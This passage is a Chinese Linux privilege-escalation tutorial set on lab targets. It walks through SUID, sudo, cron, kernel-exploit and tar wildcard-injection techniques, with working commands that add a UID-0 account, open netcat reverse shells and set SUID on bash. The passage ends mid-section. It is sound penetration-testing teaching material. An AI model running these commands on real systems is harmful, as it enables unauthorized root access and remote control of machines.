liunx提权

反弹shell升级交互式反弹sehell

反弹的服务器

接受的服务器

连接上之后的shell,没有tab键补全,不可以上下键显示历史命令

你会发现并不能如愿所偿,「上下方向键」被强制转换为了 ^[[A、^[[B 等字符。
正是由于「简单 shell」的各种缺陷,在渗透测试后期提权、内网渗透时都会带来很多困扰,所以接下来我们需要先将「简单 shell」升级为支持交互式的「交互式 shell」。

方法一:

通过Python创建伪终端升级(pts)

首先确认目标主机是否支持 Python 环境,通过which pythonwhich python3这两个命令,分别查看目标主机是否支持 Python2 和 Python3 环境。

使用python的pty模块创建一个伪终端

python -c 'import pty; pty.spawn("/bin/bash");'

方法二:

socat

首先查看目标主机是否有socat

which socst

接收方:

先监听

socat file:`tty`,raw,echo=0 tcp-listen:5912

然后在「简单 shell」中执行如下命令,反弹一个完整的 tty shell:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912

提取的文字: `socat` 反弹回的 shell 支持历史命令、tab 补全、ctrl-c 等功能

passwd文件提权

Linux 密码信息保存在两个文件中,分别为: /etc/passwd 和 /etc/shadow
/etc/passwd 文件用于保存用户信息,每一行代表一个用户,每一行通过冒号:分为七个部分:

  1. 用户名
  2. 密码,若为 x 则表示密码保存在 /etc/shadow
  3. UID,0 代表 root
  4. GID,表示所在组
  5. 描述信息,依次为 Full Name、Room Number、Work Phone、Home Phone 和 Other
  6. 用户主目录
  7. 默认 shell 类型

例如,假设 /etc/passwd 文件中其中一行信息如下:

简单来说,当你登录 Linux 系统时会有以下几个步骤:

  1. 检测「输入的用户名」是否与 /etc/passwd 文件中某一行第一个字段匹配。
  2. 若匹配成功,再对比该行第二个字段的密码,如果均匹配成功即登录成功。
  3. 登录成功之后所具有的权限,通过第三个字段 UID 和第四个字段 GID 确定。
  4. 其中 UID=0 代表 root 用户,也就是说 —— 无论第一个字段代表的用户名是什么,只要 UID=0,则该账户就拥有 root 权限。—— 这点在提权中非常重要。

由此可见,/etc/passwd 文件在 linux 登录认证过程中起到非常关键的作用。

试想,如果我们能够对 /etc/passwd 文件内容进行伪造、篡改,那就能很轻易的登录成功并获取任意用户权限。


不过一般情况下,只有 root 用户拥有对 /etc/passwd 文件的写入权限,其他用户均只有读取权限。但有时候由于系统管理员的错误配置,也会给我们带来可乘之机。

通常来说,通过 /etc/passwd 提权的方法有两种:

  1. 如果具有 /etc/passwd 的 w (写入) 权限,可以直接添加一个 root 权限的用户
  2. 如果 /etc/passwd 中存储 root 用户密码哈希,可以使用 john 进行破解

kal自带john,先将hash的密码写入1.txt

shadow文件提权

/etc/shadow文件用于存储加密后的密码和密码相关的配置信息,该文件的每一行代表一个用户,每行都包含 9 个字段,用冒号(":")隔开,顺序如下:

  1. 用户名

  2. 加密后的密码

  3. 上次修改密码的时间(从 1970.1.1 开始的总天数)

  4. 两次修改密码间隔的最少天数,如果为 0,则没有限制

  5. 两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为 99999 则没有限制

  6. 提前多少天警告用户密码将过期

  7. 在密码过期之后多少天禁用此用户

  8. 用户过期日期(从 1970.1.1 开始的总天数),如果为 0,则该用户永久可用

  9. 保留,未来使用

例如,假设 /etc/shadow 文件中其中一行信息如下:

其含义解读如下:

  • 用户名:test-user

  • 加密后的密码:$6$C/vGzhVe$aKK6QGdhzTmYyxp8.E68gCBkPhlWQ4W7/OpCFQYV.qsCtKaV00bToWh286yy73jedg6i0qSlZkZqQy.wmiUdj0

  • 上次修改密码的时间(从 1970.1.1 开始的总天数为 17470)

  • 两次修改密码最小间隔天数:没有限制

  • 两次修改密码最大间隔天数:没有限制

  • 提前 7 天警告用户密码将过期

  • 该用户永久可用

默认情况下,只有 root 权限才能读取和修改 /etc/shadow 文件,但有时候由于系统管理员的错误配置,也会给我们带来可乘之机。

通常来说,通过 /etc/shadow 提权的方法有两种:

  1. 如果具有 /etc/shadow 的 w (写入) 权限,可以直接修改 root 密码

  2. 如果具有 /etc/shadow 的 r (读取) 权限,可以通过读取 root 用户密码并使用 john 进行破解

SUID提权(现今有用)

通常情况下,Linux 运行一个程序,是使用当前运行这个程序的用户权限,这种机制是非常合理的,但有一些程序比较特殊,比如我们常用的 ping 命令。

ping 需要发送 ICMP 报文,这个操作需要发送 Raw Socket,而使用 Raw Socket 是需要 root 权限,那怎么才能让普通用户也能使用 ping 命令呢?这时候就要使用到 suid

suid 全称是 Set owner User ID up on execution ,即——使文件在执行时拥有文件所有者的权限。

我们使用如下命令查看 ping 命令的权限设置:

ls -alh /bin/ping

你会发现 ping 的权限中多了一个 s,这就是 suid。因此无论任何用户在执行 ping 命令时,ping 命令本身都将拥有其所有者的权限,而 ping 的所有者是 root 用户,所以 ping 就拥有了 root 权限。

试想,如果拥有 suid 权限(root)的某文件提供了文件修改、执行系统命令的功能,那就能被攻击者恶意利用来提升系统权限——这就是 SUID 提权的原理。

下面给大家介绍几种常用的 SUID 提权方法。

nmap提权

首先需要初始化实验环境,打开终端并执行如下命令:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_suid_nmap.sh > ~/init_suid_nmap.sh;chmod +x ~/init_suid_nmap.sh;sudo ./init_suid_nmap.sh

图片描述

当使用 nmap 进行「UDP 扫描」或「SYN 扫描」时,需要调用 Raw Socket,因此需要 root 权限。

nmap 默认不具有 suid 权限,每次使用的都需要加上 sudo

图片描述

有些管理员为了使用方便,便给 nmap 加上了 s 权限。

但别忘了,仅具有 s 权限是不能用于提权的,还需要该文件拥有执行系统命令修改文件的功能,恰巧 nmap 2.02~5.21 版本提供了执行系统命令的功能。

使用命令 nmap --version 查看实验环境中 nmap 的版本:

图片描述

恰好是 2.01~5.21 之间的版本,此版本可使用命令 nmap --interactive 进入一个交互界面,在该模式下输入 !sh 便可获取一个 shell,如下图所示:

图片描述

由于此时 nmap 并不具有 s 权限,因此获取到的 shell 为 shiyanlou 用户权限。

使用如下命令给 nmap 加上 s 权限:

sudo chmod u+s /usr/bin/nmap

图片描述

此时 nmap 已经拥有了 s 权限,且文件所有者为 root 用户,再尝试以上方法便可获得 root 权限的 shell。

此处由于实验楼提供的虚拟技术关系,造成提权不成功,一般情况下是能够提权成功的。

find 提权

当 find 命令具有 s 权限时,可以借助 find 执行系统命令从而提权。

使用命令 ls -alh /usr/bin/find 查看 find 命令权限:

图片描述

find 执行系统命令的语法如下:

find <file> -exec <command> \;

其中 <file> 可以为任意文件,因此我们可以先使用 touch 命令创建一个文件 test

图片描述

然后通过 test 文件执行命令:

find test -exec whoami \;

图片描述

这样就能以 root 权限执行命令了,但每次执行命令都要这样写未免很麻烦,并且正如之前我们在「TTY shell」中我们讲到了,这种方式并不支持需要交互的命令,例如 ssh、su 等。

同学们可以稍微思考一下:如何获取一个更方便的 root 权限的 shell 呢?

其实方法很简单,我们可以直接执行 /bin/bash 命令即可:

find test -exec /bin/bash -p \;

注意:必须使用 -p 参数,否者无法获取 root 权限,至于原因可以参看我写的这篇文章,这里不再赘述。

图片描述

cp 和 mv 命令

cpmove 命令具有 s 权限时,可以通过覆盖 /etc/passwd/etc/shadow 文件,从而获取 root 权限。

使用命令 ls -alh /bin/cp 查看 cp 命令权限,可以看到 cp已经有了 s 权限:

图片描述

先将 /etc/passwd 的内容复制一份到用户主目录下 ~/passwd:

cat /etc/passwd > ~/passwd

此处不使用 cp 进行复制,因为 cp 会将文件权限一起复制。

图片描述

然后利用之前在「Linux 提权之 passwd 文件提权」这一章节中提到的方法,我们创建一行用户数据如下:

  • 用户名:hacked

  • 密码:pass123

hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash

然后将这行添加到 ~/passwd 文件中:

echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> ~/passwd

图片描述

最后,通过 cp 命令的 s 权限,用 ~/passwd 覆盖 /etc/passwd

cp ~/passwd /etc/passwd

覆盖完成后,通过 su hacked 命令切换即可切换到 hacked 用户(密码 pass123):

图片描述

由于 hacked 用户的 uid=0,因此我们切换之后成功获取到 root 权限。

move 命令的提权方法和 cp 命令非常类似,这里就不再赘述,同学们可以自行尝试一下,如果你有问题欢迎留言。

以上已经给大家介绍了多种 SUID 可执行文件的提权方法,实际上可用于 SUID 提权的还有很多,这里就不给大家一一列举了,可以通过以下网址查询提权方法:

https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/PostExploit/LinuxPE/SUID/Summary

图片描述

通过搜索找到对应的命令,查看详情便可知道具体提权方法。

如何查找 SUID 可执行文件

在实战中,我们可以使用如下命令来查找主机上所有具有 s 权限的可执行文件:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

图片描述

但是查询结果中,通常有大量的无法利用来提权的可执行文件,需要人工进行分析。

有没有办法通过自动化脚本来自动分析呢?有的,我写了一个简单的脚本来完成自动化分析,项目地址如下:

https://github.com/Jewel591/suidcheck

图片描述

使用 wget 下载 suidcheck.sh:

wget https://raw.githubusercontent.com/Jewel591/suidcheck/master/suidcheck.sh

suidcheck.sh 加上可执行权限并执行:

chmod +x suidcheck.sh
./suidcheck.sh

图片描述

红框中的结果,就是可用来提权的可执行文件:

图片描述

此脚本非常简单,各位同学如果有时间和兴趣也可以自己编写脚本,别忘了在评论区留言分享你的成果哦!

实验总结

在本节实验中,我们学习了什么是 SUID 权限,并掌握了通过 nmap、find、cp 三种命令提权的方法。

实际上可通过 SUID 提权的命令远不止这三种,例如 cat、vim、more、sed 等命令也都可以进行 SUID 提权,但只要你掌握实验中提到的提权思路,其他命令也就能融会贯通了。

sudo提权

什么是 sudo 权限

在 Linux 中,sudo 命令的作用是让当前用户以 root 或其他用户身份(取决于 /etc/sudoers 文件配置)运行命令,sudo 这个词是「Super User Do root privilege task」的缩写。

/etc/sudoers就是 sudo 权限的配置文件,该文件用于配置具有 sudo 权限的用户和组,当你使用 sudo 运行任何命令时,Linux 系统会检查 sudoers 文件中配置的用户名或组,若当前用户和当前用户所在的用户组均不在 sudoers 文件中,则不能使用 sudo 命令。

Sudo 配置文件语法

sudo 的配置文件是 /etc/sudoers,使用如下命令查看实验主机上 sudoers 的配置:

sudo cat /etc/sudoers

图片描述

重点关注 # User Privilege specification 这行下面的内容,此处是针对特定的用户配置 sudo 权限,如上图所示可以看到一条配置:

root    ALL=(ALL:ALL) ALL

这行配置的含义如下图所示(Tag 是可选的):

图片描述

这行配置意为:root 用户在所有的主机上,能够以任何用户任何用户组的权限,执行任何命令。

很多同学会有疑惑,上面提到的”任何用户/任何用户组“是什么意思呢?

其实是因为我们在执行 sudo 命令时,可以使用-u来指定命令以某个特定用户的权限运行,只要 sudoers 文件中配置允许就可以,例如我们想以用户 www-data 的权限来执行 whoami 命令:

sudo -u www-data whoami

同理也可以使用-g 来指定命令以某个特定用户组的权限运行。

Tag是可选的,当被设置为 NOPASSWD 时,意味着执行 sudo 无需密码。

下面通过一个实例来说明如何配置 sudoers:

假设我们要允许用户 lanqiao 可以在所有主机上,以 root 用户的权限执行 more 和 cp 命令且无需输入密码,那么可以这样配置:

# 多个命令用,分割
lanqiao ALL=(root:root) NOPASSWD:/bin/cp,/bin/more
# 用户和用户组相同时,可以简写为一个
lanqiao ALL=(root) NOPASSWD:/bin/cp,/bin/more

理论知识先讲到这里,相信大家对 sudoers 的配置语法已经有了基本的理解,下面我们通过实验来学习几种常见的通过 sudo 提权的方法。

具有 root 权限的命令

这种情况是指:可以通过 sudo 以 root 权限执行某些命令,并通过这些命令获得一个 root 权限的 shell,又细分了两种情况:

  • 允许执行某个或某些命令,且未对命令参数做限制

  • 只允许执行某条带参数的具体命令

第一种:sudo 允许执行某个命令,但未对命令参数做限制

执行如下命令,完成初始化实验环境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_sudo_1.sh > ~/init_sudo_1.sh;chmod +x ~/init_sudo_1.sh;sudo ./init_sudo_1.sh

图片描述

如上图所示,此时我们已经切换为了普通用户 tomcat-syl (用于模拟攻击者获取的初始 shell ),接下来需要通过 sudo 的配置疏漏提升到 root 权限。

使用sudo -l命令查看当前用户的 sudo 权限:

图片描述

如上图所示,可以看到如下一行配置:

(root) NOPASSWD:/usr/bin/find

等同于:

tomcat-syl ALL=(root) NOPASSWD:/usr/bin/find

意为 tomcat-syl 被允许以 root 权限执行 find 命令,并且无需密码。这种场景的提权方法和实验四中我们讲过的 SUID 提权非常相似,可以通过下面这条命令提权:

sudo find /home -exec /bin/bash \;

图片描述

可以看到成功提权到 root 权限,原理如果不清楚的同学可以再回去看一下实验四,这里不再赘述。

如果是其他命令,和之前实验中我们讲过的一样,可以通过以下网址查询提权方法:

https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/PostExploit/LinuxPE/SUID/Summary

图片描述

通过搜索找到对应的命令,查看详情便可知道具体提权方法。

第二种:sudo 允许执行某条带参数的具体命令

重新打开一个终端,执行如下命令,完成初始化实验环境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_sudo_2.sh > ~/init_sudo_2.sh;chmod +x ~/init_sudo_2.sh;sudo ~/init_sudo_2.sh

图片描述

同样使用sudo -l命令查看当前用户的 sudo 权限:

图片描述

可以看到如下一行配置:

(root) NOPASSWD: /bin/less /var/log/messages

等同于:

tomcat-syl ALL=(root) NOPASSWD: /bin/less /var/log/messages

注意: /bin/less/var/log/messages之前没有, 说明这是一条完整的命令。

意为:tomcat-syl 被允许以 root 权限执行命令 less /var/log/messages,这种情况下由于命令参数被写死,所以发挥空间就没有第一种那么大了,一般只有特定的一些情况可以提权,less 命令是其中之一。

键入命令 sudo less /var/log/messages 查看日志,随后输入 !/bin/bash可以获得一个 root 权限的 shell:

图片描述

sudo 自身的漏洞

执行如下命令,完成初始化实验环境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_sudo_3.sh > ~/init_sudo_3.sh;chmod +x ~/init_sudo_3.sh;sudo ~/init_sudo_3.sh

首先使用 sudo -l 查看当前用户的 sudo 权限:

图片描述

注意ALL!root之间是用逗号隔开的,意为:tomcat-syl 用户可以以任意非 root 身份运行所有的命令且无需密码。

例如我们指定以 shiyanlou 用户的身份运行 whomai 命令:

sudo -u shiyanlou whoami

图片描述

如上图所示,此时的用户权限为 shiyanlou。

若指定以 root 用户的身份运行 ,则系统会提示输入密码:

sudo -u root whoami

图片描述

看来我们无法通过常规的 sudo 提权方法提升至 root 权限,但是别着急,下面我们再尝试一下 sudo 本身的漏洞。

首先使用 sudo —-verison 来查看实验主机上 sudo 的版本:

图片描述

如上图所示,sudo 版本为 1.8.16。

这里要为大家介绍一个在渗透测试中用的非常多的网站——「exploit-db」,是 Kali Linux 开发团队维护用于收集公开漏洞情报的平台,在 Kali Linux 中内置的 searchsploit 命令行工具对应的数据就来自「exploit-db」,网址如下:

https://www.exploit-db.com/

图片描述

左边选择 EXPLOITS,点击右上角的搜索图标,输入 sudo 1.8 进行搜索:

图片描述

搜索结果中展示了几个 sudo 的漏洞,点击sudo 1.8.27 - Security Bypass查看详情:

图片描述

该漏洞在 1.8.28 版本修复了,我们实验环境中是 1.8.16,很幸运的也在影响范围内,该漏洞的原理如下:

当用户在使用 sudo 命令时,通过指定 UID 为 #-1 或 #4294967295,就可以以 root 身份执行命令。 这是因为命令在将 UID 转换为对应用户时,会将 -1 或 4294967295 这两个异常数字视为 0,而 0 是 root 用户的 UID。

下面我们尝试一个这个漏洞,在命令行执行以下命令:

sudo -u "#-1" whoami
sudo -u "#4294967295" whoami

图片描述

如上图所示,我们成功绕过了 sudoers 配置文件的限制。

类似于之前 SUID 提权中提到的,使用如下命令便可获得一个 root 权限的 shell:

sudo -u "#-1" bash -p

图片描述

当然 sudo 还有其他漏洞可以被利用来提权,我们这里只是抛砖引玉,同学们在实战的时候可以根据 sudo 的版本,在 exploitdb 上查询具体的漏洞来进行利用。

CronJobs提权

知识点

  • 什么是 Cron Jobs

  • crontab 语法

  • crontab 执行脚本内容覆盖提权

什么是 Cron 定时任务

Cron Jobs 是 Linux 系统中的「定时任务」,常被用来安排那些需要周期性执行的命令,例如定期备份数据、定期清理缓存等功能,因为使用到 cron 工具(crontab),因此被称作 Cron Jobs。

CronJobs 作为系统管理员最常用的功能之一,本身是非常棒的一个工具,但如果「定时任务」被设定为以更高的用户权限运行(例如 root 用户),则可能会被黑客利用来提权。

crontab 命令使用语法如下:

*    *    *    *    *   [ user ] File/Command
-    -    -    -    -
|    |    |    |    |
|    |    |    |    +----- 星期中星期几 (0 - 7) (星期天 为0)
|    |    |    +---------- 月份 (1 - 12)
|    |    +--------------- 一个月中的第几天 (1 - 31)
|    +-------------------- 小时 (0 - 23)
+------------------------- 分钟 (0 - 59)

其中 user 是可选的,若不指定用户,则使用当前用户的权限指定。

需要注意的是,只有 root 用户才能指定以其他用户的权限来执行命令或脚本。

举个例子:

如果我们想实现每小时输出一次 Apache 报错日志,可以使用如下语句:

0 * * * * echo /var/log/lastlog

因为小时都被设定为 *,因此每当分钟到达 0 时都会执行一次定时任务——即每小时执行一个。

那如果需要每两小时的第 15 分钟执行一次命令,应该如何实现呢?

我们只需要做一个简单的修改就可以了:

15 */2 * * * echo /var/log/lastlog

下面我们通过一个示例来理解一下cron 的用法。

先执行如下命令初始化实验环境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_cronjobs.sh |bash

图片描述

初始化成功之后,你在 shiyanlou 用户主目录下能看到 cleanup.py 文件和 trashDirectory 目录,如上图所示。

trashDirectory 目录下有 error.logreadme.txt 两个文件

图片描述

我们的实验目标如下:

通过 crontab 添加一个定时任务,每 1 分钟通过调用 cleanup.py 脚本清除 ~/trashDirectory 目录下的所有数据。脚本 cleanup.py 的代码很简单,通过 os.system() 函数调用 rm 系统命令来清空 ~/trashDirectory 目录:

图片描述

接下来使用如下命令在 crontab 中添加一条定时任务:

sudo vim /etc/crontab
* *     * * *   root    python /home/shiyanlou/cleanup.py

pic

由于我们的实验机器上 cron 服务默认是关闭的,所以我们需要手动使用下列命令开启 cron 服务:

sudo service cron start

图片描述

接下来我们进入 ~/trashDirectory 目录,使用 ls 命令查看文件夹下的文件:

图片描述

可以看到,大概一分钟后 ~/trashDirectory 文件夹下数据被清空,说明 cron jobs 正常执行。

至此,我想大家应该已经理解了 cron 的基本用法,那么下面我们就开始学习如何通过 Cron Jobs 提权。

通过重写 crontab 调用脚本提权

首先执行如下命令以初始化实验环境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_cronjobs_s2.sh > ~/init_cronjobs_s2.sh;chmod +x ~/init_cronjobs_s2.sh;sudo ./init_cronjobs_s2.sh

pic

如上图所示,此时我们已经切换到了 tomcat-syl 用户(用于模拟攻击者获取的初始 shell ),我们需要想办法提权到 root 权限。

使用如下命令查看主机上的计划任务:

cat /etc/crontab;

图片描述

有一条定时任务引起了我们注意:系统每分钟执行一个 ~/cleanup.py 脚本,并且是以 root 用户的权限运行。

我们查看一下 ~/cleanup.py 脚本文件的内容:

cat /home/shiyanlou/cleanup.py

图片描述

发现是一个定时清理目录的任务。

接下来我们再查看该脚本的权限:

ls -al /home/shiyanlou/cleanup.py

图片描述

发现了吗? cleanup.py 的文件权限设置存在风险:其他用户也拥有 w 权限,这意味着我们可以编辑修改 cleanup.py 的内容!

由于 cleanup.py 是以 root 权限运行的,因此我们可以利用的提权的方法非常多,下面我们列举两种方法。

利用 cleanup.py 反弹 root 权限的 shell

修改 cleanup.py 脚本执行的命令为如下命令:

# 使用 nc 向本地 4444 端口反弹一个 shell
nc 127.0.0.1 4444 -e /bin/bash

图片描述

然后执行如下命令监听本地的 4444 端口:

nc -lnvp 4444

图片描述

等待一会之后,成功接收到了反弹回的 shell,并且是 root 权限。

构建 SUID 提权

还记得之前我们讲过的 SUID 提权吗?我们也可以通过 cleanup.py 脚本将某些可执行文件修改为 S 权限,这样我们便可以利用它进行 SUID 提权,例如为 bash 添加 S 权限。

此时 /bin/bash 是没有 s 权限的:

图片描述

和之前一样,修改 cleanup.py 脚本执行的命令为如下命令:

chmod +s /bin/bash

图片描述

稍等一下,查看 /bin/bash 发现已经拥有了 s 权限,所以定时任务成功执行:

图片描述

如上图所示,使用 bash -p 即可获取 root 权限。

crontab 通配符注入提权

实际渗透测试中,经常还会遇到 crontab 和 「Linux 通配符注入」结合进行提权的场景,但是由于通配符注入需要讲的内容还比较多,所以我们会在下一章中给大家介绍这种方法。

实验总结

在本节实验中,我们学习了什么是 Cron Jobs 和 Cron 的使用语法,并通过实验掌握了 crontab 的使用方法,最后我们通过 crontab 的不正确配置将 shell 成功提权到 root 权限。

内核漏洞提权(现今有用)

知识点

  • 什么是 Linux 内核漏洞?

  • 如何查询 Linux 发行版本、内核版本信息?

  • 如何查找可利用的内核漏洞?

  • 如何上传文件到靶机?

  • 下载、编辑、执行 exp 的方法

实验开始

在学习内核漏洞提权之前,需要给大家强调一个关键点:

Linux 内核漏洞可能会造成 Linux 系统崩溃、宕机,因此请优先尝试前面几章中讲解的提权方法,仅当前几种方法都无法成功提权时,才考虑使用内核漏洞来提权。

什么是 Linux 内核:

Linux 内核是 Linux 操作系统的主要组成部分,是计算机硬件与其进程之间的核心接口。它在两者之间进行交流,尽可能有效地管理资源。

内核之所以如此命名,是因为它就像硬壳里的一颗种子,存在于操作系统中,控制着硬件的所有主要功能,无论是手机、笔记本电脑、服务器还是其他任何类型的计算机。

什么是 Linux 内核漏洞:

Linux 内核是 Github 上的一个开源项目,拥有近百万次 commit,开发人员超过 5000 人,其中包括来自微软、谷歌、英特尔和红帽等科技巨头的人才。

既然开发人员如此之多,代码修改如此频繁,必然会有各种各样的 Linux 内核漏洞出现。多年来,Linux 内核已经成为了积累漏洞最多的开源项目之一。

Linux 内核漏洞提权,就是通过利用 Linux 内核漏洞来执行具有高权限的任意代码,从而达到提权的目的。

使用内核漏洞提权一般包含以下三个步骤:

  1. 收集信息:确认目标主机 Linux 发行版本号、内核版本号

  2. 查找漏洞:根据发行版本号和内核版本号搜索可利用的内核漏洞

  3. 执行攻击:下载漏洞利用 EXP、编译 exp、执行 exp

下面我们通过一个实验,来给大家详细的讲解这三个步骤的具体方法。

本章实验我们需要使用到 Metasploitable2 虚拟靶机,使用如下命令开启靶机:

sudo virsh start Metasploitable2

图片描述

Metasploitable2 靶机的信息如下:

  • IP:192.168.122.102

  • 用户名: msfadmin

  • 密码:msfadmin

Metasploitable2 是 kvm 搭建的靶机,所以启动会比较慢。稍微等待 1~2 分钟,直到可以 ping 通192.168.122.102为止:

图片描述

使用 ssh 连接到靶机,密码是 msfadmin,命令如下:

ssh msfadmin@192.168.122.102

图片描述

如上图所示,成功登录Metasploitable2,权限是普通用户 msfadmin——用于模拟渗透测试获取到的初始 shell。

接下里我们将演示,从收集主机信息,到查找内核漏洞,再到下载、编译、利用漏洞 exp 提权到 root 权限的全过程。

收集信息

一般需要关注 Linux 的发行版本、内核版本,分别使用以下两个命令进行查询:

  • lsb_release -a

图片描述

可以知道靶机运行的是 Ubuntu 发行版本,版本号为 8.04。

某些发行版本的 Linux 不支持 lsb_release 命令,可以使用 uname -sn来查询。

  • uname -r

uname -r 是用来查询 Linux 内核版本,注意和发行版本作区分。

图片描述

从上图可知,靶机的内核版本为2.6.24

查找漏洞

我们已经知道了靶机的发行版本和内核版本,接下来需要使用这两个数据去查询可能存在的内核漏洞。查询方法常用的有如下几种:

  • searchsploit 命令行工具(仅在 Kali Linux 上)

  • Exploit-db.com

  • Google 搜索引擎

[Exploit-db.com](http://exploit-db.com)searchsploit都是同一个数据库,我们这里演示[Exploit-db.com](http://exploit-db.com)的查询方法。

打开网址:Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers,选择左上角的 EXPLOITS

图片描述

先在右上角的 Search 输入关键词,因为是内核漏洞提权,所以先输入 privilegekernel

然后再键入内核版本 2.6 (一般先搜索大版本即可,搜索小版本可能导致搜索结果有遗漏)和 Linux 发行版本 ubuntu。最后的搜索关键字组合是:

privilege kernel 2.6 ubuntu

然后点击右上角的Filter,在高级搜索中,Type 选择 local、Platform 选择 Linux

图片描述

如上图所示,共得到 10 条结果,一般我们先尝试经过验证的 exp —— 即左边有绿色小勾的。

如果是 searchsploit命令行工具,使用如下命令可以查询到相同的结果,你可以在 Kali Linux 中尝试一下:

searchsploit privilege|grep -i linux|grep -i kernel|grep -i 2.6|grep -i ubuntu

执行攻击

注意:并不是每一条漏洞都可以提权成功的,通常情况下,我们会逐一尝试利用。

这里为了节约大家时间,我们直接选取一条可以提权成功的来做演示:

图片描述

接下来需要下载 exp,因为大多数情况下靶机是没有连接外网的权限的,所以都是下载到攻击机(例如 Kali Linux),然后再搭建 HTTP 服务上传到靶机。

右键下载按钮,复制下载链接地址:

图片描述

在靶机上使用 wget 工具下载并存储到 /tmp/exploit.c,命令如下(主机是在 shiyanlou用户 终端,不要在 Metasploitable2 的 ssh 终端中下载):

wget https://www.exploit-db.com/download/8572 -O /tmp/exploit.c

图片描述

接下来进入/tmp目录,使用 Python3 快速搭建 HTTP 服务,端口为 8000:

cd /tmp
python3 -m http.server 8000

图片描述

使用 ip addr 命令查询到主机 IP 地址为 192.168.122.1

图片描述

在 Metasploitable2 终端中使用 wget 工具下载 exploit.c 并保存到/tmp:

wget 192.168.122.1:8000/exploit.c -P /tmp

图片描述

接下来就需要编译 exploit.c,需要使用到 gcc 工具,命令如下:

gcc exploit.c -o exploit

/tmp 目录下会生成一个名为 exploit 的可执行文件:

图片描述

尝试执行./exploit,弹出如下提示:

图片描述

说明我们需要回去看一下 exp 的使用方法:

图片描述

阅读以上说明,使用方法如下:

  1. 执行./exploit PID 需要指定/proc/net/netlink 进程的 PID 号

  2. 执行成功后,会自动以 root 权限执行/tmp/run脚本,脚本内容需要我们自己创建,payload 我们可以任意发挥。

按照以上说明,先查看/proc/net/netlink进程 ID:

cat /proc/net/netlink

图片描述

获取到 pid 为 2410,接下来我们创建 /tmp/run shell 脚本:

echo '#!/bin/bash' >> /tmp/run
echo 'nc 192.168.122.1 4444 -e /bin/bash' >> /tmp/run
chmod +x /tmp/run

图片描述

/tmp/run脚本的内容如下:

#!/bin/bash
nc 192.168.122.1 4444 -e /bin/bash

这样,当该脚本被执行时,就会向 192.168.122.1 的 4444 端口反弹 shell,所以我们现在本地主机上使用 nc 监听 4444 端口:

nc -lnvp 4444

图片描述

一切准备就绪,在靶机上执行如下命令:

./exploit 2410

图片描述

如上图所示,成功反弹回 shell。

实验总结

在本节实验中,我们了解了什么是 Linux 内核、什么是 Linux 内核漏洞,并通过一个具体的实验,理解了收集信息、查找漏洞、执行攻击、完成提权的全过程。通常来说,并非每次都能迅速找到可利用成功的漏洞 exp,如果攻击不成功可以尝试下面两种方法:

  • 更换相同 CVE 漏洞的不同 exp

  • 更换不同的 CVE 漏洞

总结一句话:内核漏洞提权一定要有耐心~

通配符注入提权

知识点

  • 通配符注入原理介绍

  • tar 通配符注入示例

  • crontab 搭配 tar 提权实验

实验开始

什么是通配符:

对 Linux 有一定了解的同学应该会知道通配符,通配符是一个字符或一组字符,可以用来替换某些范围/类别的字符。

下面是一些常见的通配符:

  • * 星号可以与文件名中的任意数量的字符匹配,包括 0 个字符。

  • ? 问号用于匹配任意单个字符。

  • [] 括号内包括一组字符,其中任何一个字符都可以匹配该位置上的单个字符。

  • ~ 单词开头的波浪符表示当前用户的主目录的名称。如果该字符后面是另一个用户的登录名,则表示该用户的主目录。

其中,在实际的 Linux 提权中,我们使用到比较多的是*-,首先通过一个示例了解一下 Linux shell 对-字符会怎么处理的。

先运行如下命令初始化实验环境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_Wildcard_introduction.sh > ~/init_Wildcard_introduction.sh;chmod +x ~/init_Wildcard_introduction.sh;sudo ./init_Wildcard_introduction.sh

图片描述

初始化完成之后,可以看到当前目录下有一个文件名为—-help的文件,大家先思考并尝试一下,你要如何查看他的内容呢?

图片描述

如果你使用 cat —-help命令查看,会有如下提示:

图片描述

类似的,如果你使用 vim —-help 查看也是一样的:

图片描述

这是因为在 Linux shell 中,-会被解释为命令参数,如果你要查看-—help 文件的内容,就需要避免以-为文件名的开头,例如你可以使用:

cat ~/--help

图片描述

这样就可以避免 shell 将—-help 解释为参数,而通配符注入正好就是利用的 shell 这一特点。

通配符注入通常会和 cron job 结合使用,下面我们通过实战来理解 tar 命令的通配符注入。

Crontab Tar 通配符注入:

通配符注入经常会和 Crontab 一起使用,下面我们通过一个实验来理解经典的 tar 通配符注入提权。

首先执行如下命令以初始化实验环境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_Wildcard_Injection.sh > ~/init_Wildcard_Injection.sh;chmod +x ~/init_Wildcard_Injection.sh;sudo ./init_Wildcard_Injection.sh

图片描述

如上图所示,实验环境初始化完成后,我们切换到了 tomcat-syl 用户(用于模拟攻击者获取的初始 shell),接下来需要通过利用 tar 通配符注入漏洞提权到 root 权限。

首先使用如下命令查看 crontab 中有哪些定时任务:

cat /etc/crontab;

图片描述

可以看到上图红框中,管理员配置了这样一条定时任务:每分钟执行一次,将 /var/www/html/ 文件夹中的所有内容打包到 /var/backups/html.tgz 进行备份。

接下来我们查看 /var/www/html 目录下有哪些文件:

图片描述

想利用 tar 进行通配符注入,我们需要在 /var/www/html/ 文件夹下创建以下 3 个文件:

创建 shell.sh,内容为使用 nc 反弹 shell 到本地 4444 端口:

cd /var/www/html/
echo 'nc 127.0.0.1 4444 -e /bin/bash' > shell.sh

创建名为--checkpoint-action=exec=sh shell.sh的文件,因为文件名中有空格,所以需要使用引号报告:

echo "" > "--checkpoint-action=exec=sh shell.sh"

最后创建一个名为 --checkpoint=1 的文件:

echo "" > --checkpoint=1

创建成功后,可以看到 /var/www/html/ 文件夹下有这样几个文件:

图片描述

